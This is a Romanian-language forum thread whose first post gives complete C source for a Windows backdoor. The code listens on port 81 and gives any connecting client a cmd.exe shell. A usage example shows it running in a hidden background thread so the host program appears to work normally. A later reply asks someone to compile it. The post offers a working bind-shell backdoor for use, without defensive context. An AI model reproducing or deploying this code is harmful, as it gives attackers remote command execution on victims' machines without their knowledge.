SlicK Posted December 13, 2006 Report Posted December 13, 2006 Cum se face un backdoor in windows care sa astepte conexiuni pe un anumit port si la conectare sa ofere "cmd.exe"bool Backdoor(){ WSADATA wsd; SOCKET s1,s2; // socketurile struct sockaddr_in sockadd; int len=sizeof(sockadd); STARTUPINFO SI; PROCESS_INFORMATION PI; sockadd.sin_family=AF_INET; sockadd.sin_port=htons(81); // portul pe care sa asculte sockadd.sin_addr.s_addr=htonl(INADDR_ANY); // localhost if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) return false; // initiem WinSocket s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); // creem socketul if(bind(s1,(struct sockaddr *)&sockadd,len)!=0) return false; // asociem socketul adresei locale if(listen(s1,5)==SOCKET_ERROR) return false; // setam soketul sa asculte while(1) { if((s2=accept(s1,(struct sockaddr *)&sockadd,&len))==INVALID_SOCKET) return false; // socketul clientului ZeroMemory(&SI,sizeof(SI)); ZeroMemory(&PI,sizeof(PI)); SI.cb = sizeof(SI); SI.dwFlags=STARTF_USESTDHANDLES; SI.hStdError=(HANDLE)s2; SI.hStdInput=(HANDLE)s2; SI.hStdOutput=(HANDLE)s2; CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); // creem procesul "cmd.exe" WaitForSingleObject(PI.hProcess,INFINITE); // asteapta pana la terminarea procesului closesocket(s2); // inchidem socketul clientului } return true;}Exemplu de folosire#include <windows.h>#include <winsock.h>bool Backdoor(){ // mai sus}int main(){ CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Backdoor,NULL,0,NULL); // creem un thread separat pentru functia backdoor pentru ca programul sa continue normal // restul programului}IMPORTANT: trebuie sa adaugati libraria WINSOCK la proiect(Dev-C++:libws2_32.a) Quote
sony_buzi Posted June 13, 2007 Report Posted June 13, 2007 Complilatil careva va rog ca mie imi da eroare si sincer nu sunt asa bun incat sami dau seama ce are.ms Quote